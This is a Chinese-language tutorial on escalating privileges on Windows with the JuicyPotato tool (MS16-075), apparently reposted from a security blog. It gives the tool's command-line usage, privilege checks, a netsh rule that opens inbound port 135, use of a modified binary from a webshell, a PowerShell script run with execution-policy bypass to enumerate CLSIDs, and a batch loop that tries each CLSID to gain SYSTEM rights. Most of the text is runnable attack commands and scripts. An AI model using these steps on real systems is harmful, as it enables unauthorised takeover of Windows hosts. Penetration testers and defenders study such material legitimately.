# （CVE-2016-3225）【MS16-075】 JuicyPotato windows 本地提权漏洞

JuicyPotato是一款Windows提权工具，称为烂土豆，漏洞编号为MS16-075

官方地址：https://github.com/ohpe/juicy-potato

## 参数简介

简单利用

```
D:\>JuicyPotato.exe -t t -p c:\windows\system32\cmd.exe -l 1111 -c {9B1F122C-2982-4e91-AA8B-E071D54F2A4D}

Mandatory args:
-t createprocess调用: <t> CreateProcessWithTokenW, <u> CreateProcessAsUser, <*> try both
-p <program>: 运行指定程序
-l <port>: COM服务器侦听端口

Optional args:
-m <ip>: COM服务器侦听地址 (默认 127.0.0.1)
-a <argument>: 传递给程序命令行参数 (默认 NULL)
-k <ip>: RPC服务器IP地址 (默认 127.0.0.1)
-n <port>: RPC服务器侦听端口 (默认 135)
-c <{clsid}>: CLSID (default BITS:{4991d34b-80a1-4291-83b6-3328366b9097})
https://github.com/ohpe/juicy-potato/tree/master/CLSID
-z 仅测试CLSID并打印令牌的用户
```

## 可否利用

1.whoami /priv

```
如果开启SeImpersonate权限：-t t
如果开启SeAssignPrimaryToken权限：-t u
如果均开启：-t *
如果均未开启：无法提权
```

2.查看RPC是否是135

如果被修改(例如为111)，juicypotato的参数可以使用-n 111指定RPC端口

找到另一系统，能够以当前用户的权限进行远程RPC登录，此时juicypotato的参数可以使用-k

Windows默认配置下，允许135端口的入站规则即可进行远程RPC登录。

添加防火墙规则允许135端口入站的命令如下：

netsh advfirewall firewall add rule name=“135” protocol=TCP dir=in localport=135 action=allow

3.选择可用的CLSID

参考列表：https://github.com/ohpe/juicy-potato/blob/master/CLSID/README.md

根据你的系统类型选择CLSID（EG:{9B1F122C-2982-4e91-AA8B-E071D54F2A4D}）

然后-c指定即可

4.选择一个系统未占用的端口作为监听端口

-l参数指定即可

## WebShell使用JuicyPotato

WebShell因为无法另外调用cmd所以需要使用修改过的JuicyPotato

```
JuicyPotato-webshell.exe -p “whoami”
```

新建`get-clid-2012.ps1`

```
New-PSDrive -Name HKCR -PSProvider Registry -Root HKEY_CLASSES_ROOT | Out-Null
$CLSID = Get-ItemProperty HKCR:\clsid\* | select-object AppID,@{N='CLSID'; E={$_.pschildname}} | where-object {$_.appid -ne $null}
foreach($a in $CLSID)
{
	Write-Host $a.CLSID
}
```

列出所有CLSID到`CLSID.list`中

```
Powershell -ep bypass -f get-clid-2012.ps1 > CLSID.list
```

新建`juicypotato.bat`

```
@echo off
:: Starting port, you can change it
set /a port=10000
SETLOCAL ENABLEDELAYEDEXPANSION

FOR /F %%i IN (CLSID.list) DO (
   echo %%i !port!
   juicypotato-webshell.exe -c %%i -p "whoami" >> result.log
   set RET=!ERRORLEVEL!
   :: echo !RET!
   if "!RET!" == "1"  set /a port=port+1
)
```

运行`juicypotato.bat`随后根据log的相关输出，选择合适的CLSID进行权限提升即可



> http://emonsec.com/web/590.html